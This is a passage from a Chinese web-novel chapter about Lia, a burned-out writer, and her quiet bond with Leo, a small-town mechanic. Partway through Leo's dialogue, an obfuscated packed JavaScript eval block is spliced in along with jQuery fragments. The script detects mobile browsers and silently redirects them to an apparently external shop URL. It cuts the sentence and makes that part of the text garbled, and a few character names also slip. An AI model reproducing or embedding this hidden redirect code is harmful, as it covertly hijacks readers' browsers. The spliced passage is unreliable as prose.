他们一起吃了顿饭，聊了聊小镇的琐事，像老朋友。


    后来莉娅用第一笔像样的稿费买了一部手机，也把号码留给了利奥。


    但奇怪的是当联系变得如此便捷时，他们反而很少通话或发短信。


    仿佛那种基于信件和难得见面的交流节奏，才是最适合他们之间的频率。


    毕业后的莉娅顺理成章地留在了出版社聚集的城市。


    她先是做编辑助理，后来因为自己的写作背景慢慢开始独立策划选题、接触作者。城市生活光怪陆离节奏快得让人头晕目眩，出版社的工作压力巨大，选题会、预算、营销方案、难缠的作者、苛刻的市场……


    这一切都与橡林镇的宁静缓慢截然不同。


    她住在一栋老旧公寓楼的小房间里，窗外不再是湖泊和森林，而是邻居家晾晒的衣物和永远喧嚣的车流声。


    莉娅继续写作，她从没停止过动笔。


    但过程不再像大学时那样纯粹，出版社希望她乘胜追击，延续《河湾镇的夏天》的风格，写更多童话式故事。


    但她有时会感到一种枯竭，仿佛那个灵感泉眼在城市的水泥森林里正逐渐干涸。


    之后她被要求写一些她不擅长的话题，为了迎合市场文字里不得不加入一些矫饰和浮夸。


    她又得了两个不大不小的文学奖，足够她在作者简介上添上几笔，但并未带来真正的突破或内心的满足。


    掌声和批评同时涌来，她开始失眠，对着空白的文档发呆的时间越来越长。


    她依旧和海莉保持着联系。


    海莉如愿进了时尚杂志，每天踩着十厘米的高跟鞋奔波于秀场和派对，男朋友换得比以前更勤，抱怨的主题也从不靠谱的男孩升级为虚伪的制片人和难搞的超模。


    “所以说，我又分手了，”海莉搅拌着眼前的沙拉，只吃了两口就推开，“这次是个摄影师，才华横溢但自私得令人发指，男人啊。”


    她看着莉娅，“还是你好，我的世界里只有截止日期和虚伪的笑脸。”


    “你的世界也很精彩，海莉。”


    “精彩？是嘈杂。”海莉叹了口气，又像以前一样把没动过的甜点推到莉娅面前，“给你了，我得保持状态。”


    与橡林镇的联系，主要通过信件和偶尔打给米勒太太的电话维系。


    她知道安娜阿姨的杂货铺重新装修了，吉姆医生还是老样子，而利奥的修理铺似乎扩大了规模，还收了个小学徒。


    米勒太太的声音从听筒里传来，总是絮絮叨叨。


    “莉娅是你吗？声音有点小……安娜的关节炎又犯了，但她说你寄来的护膝很管用……酒馆生意好得很，就是大家都总念叨你。利奥啊，他还那样整天在铺子里，前阵子还把教练那辆破卡车给修好了，霍奇斯高兴得请全镇人喝了杯……扳手？胖啦，都快抱不动了。你一个人在外面，别光顾着写书，要按时吃饭，听见没？”


    到最后，米勒太太总会加上一句：“你一个人在外面，要照顾好自己，别太累了。”


    最近，莉娅的一部新作入围了一个比较重要的文学奖项。


    出版社很重视，提前很久就开始准备通稿、安排采访。


    在准备邀请嘉宾名单时，莉娅犹豫了很久最终还是拿出一张精美的邀请函，工整地写上了利奥的名字和橡林镇的地址，寄了出去。


    她没有在信里多说什么，只是简单告知了时间地点。


    颁奖礼前几夜，她犹豫良久还是拨通了电话。铃声响了很久才被接起，背景有金属敲击声。


    “喂？”是利奥的声音，低沉平稳。


    “利奥，是我。”


    “嗯。”敲击声停了。


    “明天晚上，有个颁奖典礼……我的书入围了。”


    “嗯。”他静静地听着。


    “我寄了邀请函，不知道你收到没有？”


    “收到了。”短暂的沉默，电话里只有轻微的电流声。


    “嗯……就是告诉你一声。”莉娅说，手指缠绕着电话线。


    “好。”利奥应道。又是一阵沉默，然后他问，“几点？”


    “晚上七点。”


    “知道了。”


    “那……再见。”


    “再见。”


    颁奖礼那晚，他始终未出现。


    与此同时，橡林镇早已陷入沉睡。


    利奥的修理铺里灯还亮着，工作台上摊着那张被仔细展平的邀请函，扳手安静地趴在他脚边。


    她不知道的是，前几日橡林镇下了一场大雨，修理铺那一日被泡了水。尽管利奥尽力去弥补，但邀请函还是彻底的毁了。


    那天傍晚利奥满手油污，他看了看日期和时间。


    颁奖典礼已经开始了。


    直到扳手用鼻子蹭了蹭他的手。


    最终，他只是把毁掉的邀请函仔细地折好，放进了工具箱最底层的一个铁盒里。


    然后转身离开，他承认自己头一次这么想去那个地方。


    *


    清晨的光线，像是透过一层细密的滤网才勉强挤进这小阁楼的窗户，在弥漫着淡淡机油味和木头尘味的空气里，投下几道斜斜的光柱。


    莉娅醒了过来，有片刻的恍惚。


    她好像做了一个梦，梦到了很久很久之前的事情。


    昨天晚上才逃掉颁奖宴会，半夜开车回到橡林镇，怎么梦到之前的事情了。


    身下的床铺比她大学宿舍的硬，也比她后来租住的那些公寓里的弹簧床垫要实在，带着一种承托住筋骨的力量感。


    她身上穿着的是利奥翻箱倒柜找出来的新T恤和一条洗得发白的工装裤。


    T恤对于她来说还是太大了，她在腰间随意地系了个结，才显得利落些。


    莉娅坐起身，木质地板传来凉意。


    阁楼很低，她站起来头顶几乎要碰到斜斜的屋顶。


    她走到通往楼下修理铺的楼梯口，扶着那粗糙的原木栏杆向下望去。


    利奥已经在下面了。


    修理铺的门大开着，清晨略带潮湿的空气涌进来。


    他正背对着她，弯着腰对付一台看上去老掉牙的割草机。他身边站着一个戴着宽边帽、身材干瘦的老头，是镇上的老弗雷德。


    莉娅还记得他，以前总爱在码头边钓鱼。


    “嘿米勒，这老家伙还能喘气吗？”老弗雷德的声音沙哑。


    利奥没立刻回答，他手里拿着一把螺丝刀，动作熟练地卸下一个盖子，露出里面错综复杂的发动机部件。


    他的手指沾满了黑色的油污，在一个积满碳垢的火花塞接口处抹了抹，又凑近闻了闻。


    “化油器有点堵了，老弗雷德。”利奥开口，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870392|190583||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声音低沉，带着刚起床不久的一点沙哑，但语气十分肯定，“火花塞也该换了，电极都快烧没了。你这家伙，是不是又往里掺了劣质汽油？”


    老弗雷德嘟囔了一句，算是默认了：“能修好吗？我可不想花钱买新的，这老伙计跟我十几年了。”


    “能。”利奥回答。


    他拿起一瓶化油器清洗剂，喷了几下，黑色的污垢顺着流了出来。然后拿起一个崭新的火花塞，用一把专门的套筒扳手，手腕一沉，利落地将旧的火花塞旋出。


    莉娅就那样倚着栏杆，静静地看着。


    阳光勾勒出麦斯宽阔的肩膀和专注的侧脸轮廓，这个场景如此熟悉，又似乎隔了一层薄雾。


    楼下两人的对话转到了镇上的八卦，谁家的孩子考上了州立大学，谁家的渔船最近收获不错。利奥大多时候只是听着，偶尔简短地应和一声，手上活儿却没停。


    莉娅看了一会儿，又轻手轻脚地坐回床边。


    她开始仔细打量这个小阁楼，这里与其说是个房间，不如说是个堆放杂件的储物间兼卧室。


    除了这张简易的木床，角落里堆着不少汽车零件和旧工具箱，几个旧轮胎被摞在一起成了临时的架子，上面放着几本翻烂了的汽车维修手册和几本泛黄的科幻小说。


    墙壁上钉着几张褪色的海报，有的是车，有的则是莉安认不出的摇滚乐队。


    直到老弗雷德付了钱后离开，修理铺里才安静下来。


    莉娅听着动静，慢慢踩着吱呀作响的木楼梯走下去。


    利奥正收拾工具，把扳手、螺丝刀一件件擦干净，放回墙上挂好。


    听到脚步声他抬起头，看了她一眼，很快又低下头去：“睡得好吗？”


    “还好。”莉娅走到他身边，学着他的样子蹲在地上，看着他处理另一件小玩意儿。


    一个旧电视机，没有画面，只有嗡嗡的电流声，她顺手拿起地上的一把小钳子递给他。


    利奥接过，熟练地夹住一个电容器的引线，用烙铁烫开。


    “谢谢。”他顿了顿，空气里只剩下烙铁接触焊锡的细微嘶嘶声。


    过了一会儿，他像是随意地问：“这次回来，打算待多久？”


    “不知道，”她轻声说，目光落在自己系着结的T恤下摆上，“也许……这次以后就不走了。”


    莉娅的手停顿了几秒，但很快又恢复了动作。


    他没接话只是继续着手里的工作，电视剧里突然传出一丝微弱的、夹杂着大量噪音的音乐声，但很快又消失了。


    “需要我帮忙吗？”莉娅跃跃欲试，“我以前也自己修过宿舍的台灯。”


    利奥没抬头，“不用，这个有点复杂。”


    “让我试试嘛，”莉娅伸手想去拿他放在一旁的万用表，“我看看是哪里的问题。”


    就在她的手快要碰到万用表的表笔时，利奥伸手一把抓住了她的手腕。


    他的手掌很大，温暖而粗糙，带着洗不掉的机油味，力量感十足。


    “别动，”他的声音有些紧绷，之后他松开手，语气恢复了平静，“去，把手上的机油洗洗，你不该在这里做这些事的。”


    莉娅愣住了，低头看了看自己的手指，确实不知何时沾上了一点黑渍。


    她抬起头看着利奥的侧脸，不解地反问：“那我该做什么事？”